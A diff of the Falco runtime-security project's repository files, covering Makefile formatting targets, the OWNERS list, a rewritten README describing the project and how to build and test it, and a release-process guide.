+	git ls-files --directory ${PROJECT_ROOT_DIR} | grep -E '\.(cpp|h|c)$$' | xargs ${CLANG_FORMAT_EXE} -Werror --style=file:${PROJECT_ROOT_DIR}/.clang-format -n
+
+######################
+#    Cmake-format    #
+######################
+.PHONY: cmake-format-install
+cmake-format-install:
+ifeq (, $(shell ${CMAKE_FORMAT_EXE} --version))
+	@echo "${CMAKE_FORMAT_EXE} is not installed. Please read the 'coding style' doc to get more info."
+	@exit 1
+endif
+
+ifneq ($(CMAKE_FORMAT_VERSION), $(CMAKE_FORMAT_DESIRED_VERSION))
+	@echo "${CMAKE_FORMAT_EXE} version is not '${CMAKE_FORMAT_DESIRED_VERSION}'. Actual version is '${CMAKE_FORMAT_VERSION}'"
+	@exit 1
+endif
+
+.PHONY: format-cmake
+format-cmake: cmake-format-install
+	git ls-files --directory ${PROJECT_ROOT_DIR} | grep -E '\.(cmake)$$|CMakeLists.txt$$' | xargs ${CMAKE_FORMAT_EXE} --config-files ${PROJECT_ROOT_DIR}/.cmake-format.json -i
+
+.PHONY: check-cmake
+check-cmake: cmake-format-install
+	git ls-files --directory ${PROJECT_ROOT_DIR} | grep -E '\.(cmake)$$|CMakeLists.txt$$' | xargs ${CMAKE_FORMAT_EXE} --config-files ${PROJECT_ROOT_DIR}/.cmake-format.json --check
+
+# Add new formatters here...
+
+.PHONY: format-all
+format-all: format-clang format-cmake
+
+.PHONY: check-all
+check-all: check-clang check-cmake
+

OWNERS

@@ -0,0 +1,17 @@
+approvers:
+  - mstemm
+  - leogr
+  - jasondellaluce
+  - fededp
+  - andreagit97
+  - LucaGuerra
+  - sgaist
+  - ekoops
+reviewers:
+  - kaizhe
+  - irozzo-1A
+emeritus_approvers:
+  - fntlnz
+  - kris-nova
+  - leodido
+  - incertum

README.md

@@ -1,90 +1,145 @@
-# Sysdig Falco
+# Falco
 
-#### Latest release
+[![Latest release](https://img.shields.io/github/v/release/falcosecurity/falco?style=for-the-badge)](https://github.com/falcosecurity/falco/releases/latest) [![Supported Architectures](https://img.shields.io/badge/ARCHS-x86__64%7Caarch64-blueviolet?style=for-the-badge)](https://github.com/falcosecurity/falco/releases/latest) [![License](https://img.shields.io/github/license/falcosecurity/falco?style=for-the-badge)](COPYING) [![Docs](https://img.shields.io/badge/docs-latest-green.svg?style=for-the-badge)](https://falco.org/docs)
 
-**v0.11.1**
-Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
+[![Falco Core Repository](https://github.com/falcosecurity/evolution/blob/main/repos/badges/falco-core-blue.svg)](https://github.com/falcosecurity/evolution/blob/main/REPOSITORIES.md#core-scope) [![Stable](https://img.shields.io/badge/status-stable-brightgreen?style=for-the-badge)](https://github.com/falcosecurity/evolution/blob/main/REPOSITORIES.md#stable)  [![OpenSSF Scorecard](https://img.shields.io/ossf-scorecard/github.com/falcosecurity/falco?label=openssf%20scorecard&style=for-the-badge)](https://scorecard.dev/viewer/?uri=github.com/falcosecurity/falco)  [![OpenSSF Best Practices](https://img.shields.io/cii/summary/2317?label=OpenSSF%20Best%20Practices&style=for-the-badge)](https://bestpractices.coreinfrastructure.org/projects/2317)
 
-Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
-Master Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=master)](https://travis-ci.org/draios/falco)
+[![Falco](https://falco.org/img/brand/falco-horizontal-color.svg)](https://falco.org)
 
-## Overview
-Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
+[Falco](https://falco.org/) is a cloud native runtime security tool for Linux operating systems. It is designed to detect and alert on abnormal behavior and potential security threats in real-time.
 
-#### What kind of behaviors can Falco detect?
+At its core, Falco is a kernel monitoring and detection agent that observes events, such as syscalls, based on custom rules. Falco can enhance these events by integrating metadata from the container runtime and Kubernetes. The collected events can be analyzed off-host in SIEM or data lake systems.
 
-Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
+Falco, originally created by [Sysdig](https://sysdig.com), is a **graduated project** under the [Cloud Native Computing Foundation](https://cncf.io) (CNCF) used in production by various [organisations](https://github.com/falcosecurity/falco/blob/master/ADOPTERS.md).
 
-- A shell is run inside a container
-- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
-- A server process spawns a child process of an unexpected type
-- Unexpected read of a sensitive file (like `/etc/shadow`)
-- A non-device file is written to `/dev`
-- A standard system binary (like `ls`) makes an outbound network connection
+For detailed technical information and insights into the cyber threats that Falco can detect, visit the official [Falco](https://falco.org/) website.
 
-#### How Falco Compares to Other Security Tools like SELinux, Auditd, etc.
+For comprehensive information on the latest updates and changes to the project, please refer to the [Change Log](CHANGELOG.md).
 
-One of the questions we often get when we talk about Sysdig Falco is “How does it compare to other tools like SELinux, AppArmor, Auditd, etc. that also have security policies?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco to other tools.
+## The Falco Project
 
+The Falco Project codebase is maintained under the [falcosecurity GitHub organization](https://github.com/falcosecurity). The primary repository, [falcosecurity/falco](https://github.com/falcosecurity/falco), holds the source code for the Falco binary, while other sub-projects are hosted in dedicated repositories. This approach of isolating components into specialized repositories enhances modularity and focused development. Notable [core repositories](https://github.com/falcosecurity/evolution?tab=readme-ov-file#core) include:
 
-Documentation
----
-[Visit the wiki](https://github.com/draios/falco/wiki) for full documentation on falco.
+- [falcosecurity/libs](https://github.com/falcosecurity/libs): This repository hosts Falco's core libraries, which constitute the majority of the binary’s source code and provide essential features, such as kernel drivers.
+- [falcosecurity/rules](https://github.com/falcosecurity/rules): It contains the official ruleset for Falco, offering pre-defined detection rules for various security threats and abnormal behaviors.
+- [falcosecurity/plugins](https://github.com/falcosecurity/plugins): This repository supports integration with external services through plugins that extend Falco's capabilities beyond syscalls and container events, with plans for evolving specialized functionalities in future releases.
+- [falcosecurity/falcoctl](https://github.com/falcosecurity/falcoctl): A command-line utility designed for managing and interacting with Falco.
+- [falcosecurity/charts](https://github.com/falcosecurity/charts): This repository provides Helm charts for deploying Falco and its ecosystem, simplifying the installation and management process.
 
-Join the Community
----
-* Follow us on [Twitter](https://twitter.com/sysdig) for general falco and sysdig news.
-* This is our [blog](https://sysdig.com/blog/), where you can find the latest [falco](https://sysdig.com/blog/tag/falco/) posts.
-* Join our [Public Slack](https://slack.sysdig.com) channel for sysdig and falco announcements and discussions.
+For further insights into our repositories and additional details about our governance model, please visit the official hub of The Falco Project: [falcosecurity/evolution](https://github.com/falcosecurity/evolution).
 
-License Terms
----
-Falco is licensed to you under the [GPL 2.0](./COPYING) open source license.
+## Getting Started with Falco
 
-In addition, as a special exception, the copyright holders give permission to link the code of portions of this program with the OpenSSL library under certain conditions as described in each individual source file, and distribute linked combinations including the two.
+If you're new to Falco, begin your journey with our [Getting Started](https://falco.org/docs/getting-started/) guide. For production deployments, please refer to our comprehensive [Setup](https://falco.org/docs/setup/) documentation.
 
-You must obey the GNU General Public License in all respects for all of the code used other than OpenSSL.  If you modify file(s) with this exception, you may extend this exception to your version of the file(s), but you are not obligated to do so.  If you do not wish to do so, delete this exception statement from your version.
+As final recommendations before deploying Falco, verify environment compatibility, define your detection goals, optimize performance, choose the appropriate build, and plan for SIEM or data lake integration to ensure effective incident response.
 
-Contributor License Agreements
----
-### Background
- As we did for sysdig, we are formalizing the way that we accept contributions of code from the contributing community. We must now ask that contributions to falco be provided subject to the terms and conditions of a [Contributor License Agreement (CLA)](./cla). The CLA comes in two forms, applicable to contributions by individuals, or by legal entities such as corporations and their employees. We recognize that entering into a CLA with us involves real consideration on your part, and we’ve tried to make this process as clear and simple as possible.
+### Demo Environment
 
- We’ve modeled our CLA off of industry standards, such as [the CLA used by Kubernetes](https://github.com/kubernetes/kubernetes/blob/master/CONTRIBUTING.md). Note that this agreement is not a transfer of copyright ownership, this simply is a license agreement for contributions, intended to clarify the intellectual property license granted with contributions from any person or entity. It is for your protection as a contributor as well as the protection of falco; it does not change your rights to use your own contributions for any other purpose.
+A demo environment is provided via a docker-compose file that can be started on a docker host which includes falco, falcosidekick, falcosidekick-ui and its required redis database. For more information see the [docker-compose section](docker/docker-compose/)
 
- For some background on why contributor license agreements are necessary, you can read FAQs from many other open source projects:
+## Join the Community
 
-- [Django’s excellent CLA FAQ](https://www.djangoproject.com/foundation/cla/faq/)
-- [A well-written chapter from Karl Fogel’s Producing Open Source Software on CLAs](http://producingoss.com/en/copyright-assignment.html)
-- [The Wikipedia article on CLAs](http://en.wikipedia.org/wiki/Contributor_license_agreement)
+To get involved with the Falco Project please visit the [Community](https://github.com/falcosecurity/community) repository to find more information and ways to get involved.
 
-As always, we are grateful for your past and present contributions to falco.
+If you have any questions about Falco or contributing, do not hesitate to file an issue or contact the Falco maintainers and community members for assistance.
 
-### What do I need to do in order to contribute code?
+How to reach out?
 
-**Individual contributions**: Individuals who wish to make contributions must review the [Individual Contributor License Agreement](./cla/falco_contributor_agreement.txt) and indicate agreement by adding the following line to every GIT commit message:
+ - Join the [#falco](https://kubernetes.slack.com/messages/falco) channel on the [Kubernetes Slack](https://slack.k8s.io).
+ - Join the [Falco mailing list](https://lists.cncf.io/g/cncf-falco-dev).
+ - File an [issue](https://github.com/falcosecurity/falco/issues) or make feature requests.
 
-```
-falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+## Commitment to Falco's Own Security
+
+Full reports of various security audits can be found [here](./audits/).
+
+In addition, you can refer to the [falco](https://github.com/falcosecurity/falco/security) and [libs](https://github.com/falcosecurity/libs/security) security sections for detailed updates on security advisories and policies.
+
+To report security vulnerabilities, please follow the community process outlined in the documentation found [here](https://github.com/falcosecurity/.github/blob/main/SECURITY.md).
+
+## Building
+
+For comprehensive, step-by-step instructions on building Falco from source, please refer to the [official documentation](https://falco.org/docs/developer-guide/source/).
+
+## Testing
+
+<details>
+	<summary>Expand Testing Instructions</summary>
+
+Falco's [Build Falco from source](https://falco.org/docs/developer-guide/source/) is the go-to resource to understand how to build Falco from source. In addition, the [falcosecurity/libs](https://github.com/falcosecurity/libs) repository offers additional valuable information about tests and debugging of Falco's underlying libraries and kernel drivers.
+
+Here's an example of a `cmake` command that will enable everything you need for all unit tests of this repository:
+
+```bash
+cmake \
+-DUSE_BUNDLED_DEPS=ON \
+-DBUILD_DRIVER=ON \
+-DBUILD_FALCO_MODERN_BPF=ON \
+-DCREATE_TEST_TARGETS=ON \
+-DBUILD_FALCO_UNIT_TESTS=ON ..;
 ```
 
-Use your real name; pseudonyms or anonymous contributions are not allowed.
+Build and run the unit test suite:
 
-**Corporate contributions**: Employees of corporations, members of LLCs or LLPs, or others acting on behalf of a contributing entity, must review the [Corporate Contributor License Agreement](./cla/falco_corp_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
-
-```
-falco-CLA-1.0-contributing-entity: Full Legal Name of Entity
-falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+```bash
+nproc=$(grep processor /proc/cpuinfo | tail -n 1 | awk '{print $3}');
+make -j$(($nproc-1)) falco_unit_tests;
+# Run the tests
+sudo ./unit_tests/falco_unit_tests;
 ```
 
-Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.
+Optionally, build the driver of your choice and test run the Falco binary to perform manual tests.
 
-**Government contributions**: Employees or officers of the United States Government, must review the [Government Contributor License Agreement](https://github.com/draios/falco/blob/dev/cla/falco_govt_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
+Lastly, The Falco Project has moved its Falco regression tests to [falcosecurity/testing](https://github.com/falcosecurity/testing).
 
-```
-falco-CLA-1.0-contributing-govt-entity: Full Legal Name of Entity
-falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
-This file is a work of authorship of an employee or officer of the United States Government and is not subject to copyright in the United States under 17 USC 105.
-```
 
-Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.
+</details>
+
+</br>
+
+ ## How to Contribute
+
+Please refer to the [Contributing](https://github.com/falcosecurity/.github/blob/main/CONTRIBUTING.md) guide and the [Code of Conduct](https://github.com/falcosecurity/evolution/blob/main/CODE_OF_CONDUCT.md) for more information on how to contribute.
+
+## FAQs
+
+### Why is Falco in C++ rather than Go or {language}?
+
+<details>
+	<summary>Expand Information</summary>
+
+1. The first lines of code at the base of Falco were written some time ago, where Go didn't yet have the same level of maturity and adoption as today.
+2. The Falco execution model is sequential and mono-thread due to the statefulness requirements of the tool, and so most of the concurrency-related selling points of the Go runtime would not be leveraged at all.
+3. The Falco code deals with very low-level programming in many places, and we all know that interfacing Go with C is possible but brings tons of complexity and tradeoffs to the table.
+4. As a security tool meant to consume a crazy high throughput of events per second, Falco needs to squeeze performance in all hot paths at runtime and requires deep control on memory allocation, which the Go runtime can't provide (there's also garbage collection involved).
+5. Although Go didn't suit the engineering requirements of the core of Falco, we still thought that it could be a good candidate for writing Falco extensions through the plugin system. This is the main reason we gave special attention and high priority to the development of the plugin-sdk-go.
+6. Go is not a requirement for having statically-linked binaries. In fact, we provide fully-static Falco builds since few years. The only issue with those is that the plugin system can't be supported with the current dynamic library model we currently have.
+7. The plugin system has been envisioned to support multiple languages, so on our end maintaining a C-compatible codebase is the best strategy to ensure maximum cross-language compatibility.
+8. In general, plugins have GLIBC requirements/dependencies because they have low-level C bindings required for dynamic loading. A potential solution for the future could be to also support plugin to be statically-linked at compilation time and so released as bundled in the Falco binary. Although no work started yet in this direction, this would solve most issues you reported and would provide a totally-static binary too. Of course, this would not be compatible with dynamic loading anymore, but it may be a viable solution for our static-build flavor of Falco.
+9. Memory safety is definitely a concern and we try our best to keep an high level of quality even though C++ is quite error prone. For instance, we try to use smart pointers whenever possible, we build the libraries with an address sanitizer in our CI, we run Falco through Valgrind before each release, and have ways to stress-test it to detect performance regressions or weird memory usage (e.g. https://github.com/falcosecurity/event-generator). On top of that, we also have third parties auditing the codebase by time to time. None of this make a perfect safety standpoint of course, but we try to maximize our odds. Go would definitely make our life easier from this perspective, however the tradeoffs never made it worth it so far due to the points above.
+10. The C++ codebase of falcosecurity/libs, which is at the core of Falco, is quite large and complex. Porting all that code to another language would be a major effort requiring lots of development resource and with an high chance of failure and regression. As such, our approach so far has been to choose refactors and code polishing instead, up until we'll reach an optimal level of stability, quality, and modularity, on that portion of code. This would allow further developments to be smoother and more feasibile in the future.
+
+</details>
+</br>
+
+### What's next for Falco?
+
+Stay updated with Falco's evolving capabilities by exploring the [Falco Roadmap](https://github.com/orgs/falcosecurity/projects/5), which provides insights into the features currently under development and planned for future releases.
+
+## License
+
+Falco is licensed to you under the [Apache 2.0](./COPYING) open source license.
+
+## Resources
+
+ - [Governance](https://github.com/falcosecurity/evolution/blob/main/GOVERNANCE.md)
+ - [Code Of Conduct](https://github.com/falcosecurity/evolution/blob/main/CODE_OF_CONDUCT.md)
+ - [Maintainers Guidelines](https://github.com/falcosecurity/evolution/blob/main/MAINTAINERS_GUIDELINES.md)
+ - [Maintainers List](https://github.com/falcosecurity/evolution/blob/main/MAINTAINERS.md)
+ - [Repositories Guidelines](https://github.com/falcosecurity/evolution/blob/main/REPOSITORIES.md)
+ - [Repositories List](https://github.com/falcosecurity/evolution/blob/main/README.md#repositories)
+ - [Adopters List](https://github.com/falcosecurity/falco/blob/master/ADOPTERS.md)
+ - [Release Process](RELEASE.md)
+ - [Setup documentation](https://falco.org/docs/setup/)
+ - [Troubleshooting](https://falco.org/docs/troubleshooting/)

RELEASE.md

@@ -0,0 +1,218 @@
+# Falco Release Process
+
+
+## Overview
+
+This document provides the process to create a new Falco release. In addition, it provides information about the versioning of the Falco components. At a high level each Falco release consists of the following main components:
+
+- Falco binary (userspace), includes `modern_bpf` driver object code (kernel space) starting with Falco 0.34.x releases
+- Falco kernel driver object files, separate artifacts for `kmod` and `bpf` drivers, not applicable for `modern_bpf` driver (kernel space)
+    - Option 1: Kernel module (`.ko` files)
+    - Option 2: eBPF (`.o` files)
+- Falco config and rules `.yaml` files (userspace)
+- Falco plugins (userspace - optional)
+
+> Note: Starting with Falco 0.34.x releases, the Falco userspace binary includes the `modern_bpf` driver object code during the linking process. This integration is made possible by the CO-RE (Compile Once - Run Everywhere) feature of the modern BPF driver. CO-RE allows the driver to function on kernels that have backported BTF (BPF Type Format) support or have a kernel version >= 5.8. For the older `kmod` and `bpf` drivers, separate artifacts are released for the kernel space. This is because these drivers need to be explicitly compiled for the specific kernel release, using the exact kernel headers. This approach ensures that Falco can support a wide range of environments, including multiple kernel versions, distributions, and architectures.  (see `libs` [driver - kernel version support matrix](https://github.com/falcosecurity/libs#drivers-officially-supported-architectures)).
+
+The Falco Project manages the release of both the Falco userspace binary and pre-compiled Falco kernel drivers for the most popular kernel versions and distros. The build and publish process is managed by the [test-infra](https://github.com/falcosecurity/test-infra) repo.
+
+The Falco userspace executable includes bundled dependencies, so that it can be run from anywhere.
+
+Falco publishes all sources, enabling users to audit the project's integrity and build kernel drivers for custom or unsupported kernels/distributions, specifically for non-modern BPF drivers (see [driverkit](https://github.com/falcosecurity/driverkit) for more information).
+
+Finally, the release process follows a transparent process described in more detail in the following sections and the official [Falco guide and documentation](https://falco.org/) provide rich information around building, installing and using Falco.
+
+
+### Falco Binaries, Rules and Sources Artifacts - Quick Links
+
+The Falco project publishes all sources and the Falco userspace binaries as GitHub releases.
+
+- [Falco Releases](https://github.com/falcosecurity/falco/releases)
+    - `tgz`, `rpm` and `deb` Falco binary packages (contains sources, including driver sources, Falco rules as well as k8saudit and cloudtrail plugins)
+    - `tgz`, `zip` source code
+- [Libs Releases](https://github.com/falcosecurity/libs/releases)
+    - `tgz`, `zip` source code
+- [Driver Releases](https://github.com/falcosecurity/libs/releases), marked with `+driver` [build metadata](https://semver.org/). 
+    - `tgz`, `zip` source code
+- [Falco Rules Releases](https://github.com/falcosecurity/rules/releases)
+    - `tgz`, `zip` source code, each ruleset is tagged separately in a mono-repo fashion, see the [rules release guidelines](https://github.com/falcosecurity/rules/blob/main/RELEASE.md)
+
+
+Alternatively Falco binaries or plugins can be downloaded from the Falco Artifacts repo.
+
+- [Falco Artifacts Repo Packages Root](https://download.falco.org/?prefix=packages/)
+- [Falco Artifacts Repo Plugins Root](https://download.falco.org/?prefix=plugins/)
+
+
+### Falco Drivers Artifacts Repo - Quick Links
+
+> Note: This section specifically applies to non-modern BPF drivers.
+
+The Falco Project publishes all drivers for each release for popular kernel versions / distros and `x86_64` and `aarch64` architectures to the Falco project's managed Artifacts repo. The Artifacts repo follows standard directory level conventions. The respective driver object file is prefixed by distro and named / versioned by kernel release - `$(uname -r)`. Pre-compiled drivers are released with a [best effort](https://github.com/falcosecurity/falco/blob/master/proposals/20200818-artifacts-storage.md#notice) notice. This is because gcc (`kmod`)  sometimes fails to build the artifacts for a specific kernel version. More details around driver versioning and driver compatibility are provided in the [Falco Components Versioning](#falco-components-versioning) section. Short preview: If you use the standard Falco setup leveraging driver-loader, [driver-loader script](https://github.com/falcosecurity/falco/blob/master/scripts/falco-driver-loader) will fetch the kernel space artifact (object file) corresponding to the default `DRIVER_VERSION` Falco was shipped with.
+
+- [Falco Artifacts Repo Drivers Root](https://download.falco.org/?prefix=driver/)
+    - Kernel module (`.ko` files) - all under same driver version directory
+
+
+### Timeline
+
+Falco follows a release schedule of three times per year, with releases expected at the end of January, May, and September. Hotfix releases are issued as needed.
+
+Changes and new features are organized into [milestones](https://github.com/falcosecurity/falco/milestones). The milestone corresponding to the next version represents the content that will be included in the upcoming release.
+
+
+### Procedures
+
+The release process is mostly automated, requiring only a few manual steps to initiate and complete.
+
+Moreover, we assign owners for each release (typically pairing a new person with an experienced one). Assignees and due dates for releases are proposed during the [community call](https://github.com/falcosecurity/community).
+
+At a high level each Falco release needs to follow a pre-determined sequencing of releases and build order:
+
+- [1 - 3] `libs` (+ `driver`) and `plugins` components releases
+- [4] Falco driver pre-compiled object files push to Falco's Artifacts repo
+- [5] Falco userspace binary release
+
+Assignees are responsible for creating a Falco GitHub issue to track the release tasks and monitor the progress of the release. This issue serves as a central point for communication and provides updates on the release dates. You can refer to the [Falco v0.35 release](https://github.com/falcosecurity/falco/issues/2554) or [Libs Release (0.11.0+5.0.1+driver)](https://github.com/falcosecurity/libs/issues/1092) issues as examples/templates for creating the release issue.
+
+Finally, on the proposed due date, the assignees for the upcoming release proceed with the processes described below.  
+
+## Pre-Release Checklist
+
+Before proceeding with the release, make sure to complete the following preparatory steps, which can be easily done using the GitHub UI:
+
+### 1. Release notes
+- Find the previous release date (`YYYY-MM-DD`) by looking at the [Falco releases](https://github.com/falcosecurity/falco/releases)
+- Double-check, by using the following filters, if there is any closed issue/merge PR with no milestone assigned:
+  - `is:issue state:closed no:milestone closed:>YYYY-MM-DD`
+    [filter](https://github.com/falcosecurity/falco/issues?q=is%3Aissue%20state%3Aclosed%20no%3Amilestone%20closed%3A%3EYYYY-MM-DD)
+  - `is:pr is:merged no:milestone closed:>YYYY-MM-DD`
+    [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD)
+- Assign any issue/PR identified in the previous point to the milestone corresponding to the currently undergoing release
+- Check the release note block of every PR matching the `is:pr is:merged milestone:M.m.p` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+milestone%3AM.m.p)
+    - Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
+    - If the PR has no milestone, assign it to the milestone currently undergoing release
+
+### 2. Milestones
+
+- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
+
+
+### 3. Release branch
+
+Assuming we are releasing a non-patch version (like: Falco 0.34.0), a new release branch needs to be created.  
+Its naming will be `release/M.m.x`; for example: `release/0.34.x`.  
+The same branch will then be used for any eventual cherry pick for patch releases.  
+
+For patch releases, instead, the `release/M.m.x` branch should already be in place; no more steps are needed.  
+Double-check that any PR that should be part of the tag has been cherry-picked from master!
+
+### 4. Release PR
+
+The release PR is meant to be made against the respective `release/M.m.x` branch, **then cherry-picked on master**.  
+
+- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
+    - If any, manually correct it then open an issue to automate version number bumping later
+    - Versions table in the `README.md` updates itself automatically
+- Generate the change log using [rn2md](https://github.com/leodido/rn2md):
+    - Execute `rn2md -r falcosecurity/falco -m M.m.p`
+    - In case `rn2md` emits error try to generate an GitHub OAuth access token and provide it with the `-t` flag
+- Add the latest changes on top the previous `CHANGELOG.md`
+- Submit a PR with the above modifications
+- Await PR approval
+- Close the completed milestone as soon as the PR is merged into the release branch
+- Cherry pick the PR on master too
+
+## Publishing Pre-Releases (RCs and tagged development versions)
+
+Core maintainers and/or the release manager can decide to publish pre-releases at any time before the final release
+is live for development and testing purposes.
+
+The pre-release must be associated with a newly created tag. The tag is intended to be created while drafting the new pre-release through the GitHub form (this is indeed the only way to correctly associate the tag with a target branch; more on this below).
+The pre-release tag must be formatted as `M.m.p-r`, where `r` is the pre-release version information (e.g. `0.35.0-rc1`).
+
+To create both pre-release tag and pre-release, do the following:
+
+- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
+- Use `M.m.p-r` both as tag version and release title
+- Associate `release/M.m.x` as "target branch" for the new tag
+- Check the "Set as a pre-release" checkbox and make sure "Set as the latest release" is unchecked
+- It is recommended to add a brief description so that other contributors will understand the reason why the prerelease is published
+- Publish the prerelease!
+- The release pipeline will start automatically. Packages will be uploaded to the `-dev` bucket and container images will be tagged with the specified tag
+
+In order to check the status of the release pipeline click on the [GitHub Actions tab](https://github.com/falcosecurity/falco/actions?query=event%3Arelease) in the Falco repository and filter by release.
+
+## Release
+
+Assume `M.m.p` is the new version.
+
+### 1. Create the release with GitHub
+
+- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
+- Use `M.m.p` both as tag version and release title
+- Associate `release/M.m.x` as "target branch" for the new tag
+- Do NOT fill body, since it will be autogenerated by the [github release workflow](.github/workflows/release.yaml)
+- Publish the release!
+- The release pipeline will start automatically upon publication and all packages and container images will be uploaded to the stable repositories.
+
+In order to check the status of the release pipeline click on the [GitHub Actions tab](https://github.com/falcosecurity/falco/actions?query=event%3Arelease) in the Falco repository and filter by release.
+
+### 2. Update the meeting notes
+
+For each release we archive the meeting notes in git for historical purposes.
+
+ - The notes from the Falco meetings can be [found here](https://hackmd.io/3qYPnZPUQLGKCzR14va_qg).
+    - Note: There may be other notes from working groups that can optionally be added as well as needed.
+ - Add the entire content of the document to a new file in [github.com/falcosecurity/community/tree/main/meeting-notes](https://github.com/falcosecurity/community/tree/main/meeting-notes) as a new file labeled `release-M.m.p.md`
+ - Open up a pull request with the new change.
+
+
+## Post-Release tasks
+
+Announce the new release to the world!
+
+- IFF the ongoing release introduces a **new minor version**, [archive a snapshot of the Falco website](https://github.com/falcosecurity/falco-website/blob/master/release.md#documentation-versioning)
+- Publish a blog on [Falco website](https://github.com/falcosecurity/falco-website) ([example](https://github.com/falcosecurity/falco-website/blob/master/content/en/blog/falco-0-28-1.md))
+- Send an announcement to cncf-falco-dev@lists.cncf.io (plain text, please)
+- Let folks in the slack #falco channel know about a new release came out
+
+
+## Falco Components Versioning
+
+This section provides more details around the versioning of the components that make up Falco's core. It can also be a useful guide for the uninitiated to be more informed about Falco's source. Because `libs` makes up the greater portion of the source code of the Falco binary and is the home of each of the kernel drivers and engines, the [libs release doc](https://github.com/falcosecurity/libs/blob/master/release.md) is an excellent additional resource. In addition, the [plugins release doc](https://github.com/falcosecurity/plugins/blob/master/release.md) provides similar details around Falco's plugins. `SHA256` checksums are provided throughout Falco's source code to empower the end user to perform integrity checks. All Falco releases also contain the sources as part of the packages.
+
+
+### Falco repo (this repo)
+- Falco version is a git tag (`x.y.z`), see [Procedures](#procedures) section. Note that the Falco version is a sem-ver-like schema, but not fully compatible with sem-ver.
+- [FALCO_ENGINE_VERSION](https://github.com/falcosecurity/falco/blob/master/userspace/engine/falco_engine_version.h) is not sem-ver and must be bumped either when a backward incompatible change has been introduced to the rules files syntax and loading logic, and/or when `FALCO_ENGINE_CHECKSUM` has changed. The checksum is computed by considering the available rules fields (see currently supported [Falco fields](https://falco.org/docs/reference/rules/supported-fields/)), the event types (see currently supported [Falco events](https://falco.org/docs/reference/rules/supported-events/)), and the supported driver schema version. A checksum indicates that something was not available in previous engine versions. See the [rules release guidelines](https://github.com/falcosecurity/rules/blob/main/RELEASE.md#versioning-a-ruleset) to understand how this affects the versioning of Falco rules. Breaking changes introduced in the Falco engine are not necessarily tied to the drivers or libs versions. The version number must be incremented every time and only when a single change or an atomic group of changes - which meet the criteria described above - is included in the `master` branch. Thus, a version bump can occur multiple times during the development and testing phases of a given release cycle. A given version bump must not group multiple changes that occurred sporadically during the release cycle.
+- During development and release preparation, libs and driver reference commits are often bumped in Falco's cmake setup ([falcosecurity-libs cmake](https://github.com/falcosecurity/falco/blob/master/cmake/modules/falcosecurity-libs.cmake#L30) and [driver cmake](https://github.com/falcosecurity/falco/blob/master/cmake/modules/driver.cmake#L29)) in order to merge new Falco features. In practice, they are mostly bumped at the same time referencing the same `libs` commit. However, for the official Falco build `FALCOSECURITY_LIBS_VERSION` flag that references the stable libs version is used (read below).
+- At release time Plugin, Libs and Driver versions are compatible with Falco.
+
+
+```
+Falco version: x.y.z (sem-ver like)
+Libs version:  x.y.z (sem-ver like)
+Plugin API:    x.y.z (sem-ver like)
+Engine:        x
+Driver:
+  API version:    x.y.z (sem-ver)
+  Schema version: x.y.z (sem-ver)
+  Default driver: x.y.z+driver (sem-ver like, indirectly encodes compatibility range in addition to default version Falco is shipped with)
+```
+
+
+### Libs repo
+- Libs version is a git tag (`x.y.z`) and when building Falco the libs version is set via the `FALCOSECURITY_LIBS_VERSION` flag (see above).
+- The driver version is not directly linked to the userspace components of the Falco binary. This is because of the clear separation between userspace and kernel space, which adds an additional layer of complexity. To address this, the concept of a `Default driver` has been introduced, allowing for implicit declaration of compatible driver versions. For example, if the default driver version is `5.0.1+driver`, Falco works with all driver versions >= 5.0.1 and < 6.0.0. This is a consequence of how the driver version is constructed starting from the `Driver API version` and `Driver Schema version`. Driver API and Schema versions are explained in the respective [libs driver doc](https://github.com/falcosecurity/libs/blob/master/driver/README.VERSION.md) -> Falco's `driver-loader` will always fetch the default driver, therefore a Falco release is always "shipped" with the driver version corresponding to the default driver.
+- See [libs release doc](https://github.com/falcosecurity/libs/blob/master/release.md) for more information.
+
+### Plugins repo
+
+- Plugins version is a git tag (`x.y.z`)
+- See [plugins release doc](https://github.com/falcosecurity/plugins/blob/master/release.md) for more information.
+
+### Rules repo
+- Rulesets are versioned individually through git tags
+- See [rules release doc](https://github.com/falcosecurity/rules/blob/main/RELEASE.md) for more information.
+- See [plugins release doc](https://github.com/falcosecurity/plugins/blob/master/release.md) for more information about plugins rulesets.

brand/README.md

@@ -0,0 +1,78 @@
+<p align="center"><img src="primary-logo.png" width="360"></p>
+<p align="center"><b>Cloud Native Runtime Security.</b></p>
+
+# Falco Branding Guidelines
+
+Falco is an open source security project whose brand and identity are governed by the [Cloud Native Computing Foundation](https://www.linuxfoundation.org/legal/trademark-usage).
+
+This document describes the official branding guidelines of The Falco Project. Please see the [Falco Branding](https://falco.org/community/falco-brand/) page on our website for further details.
+
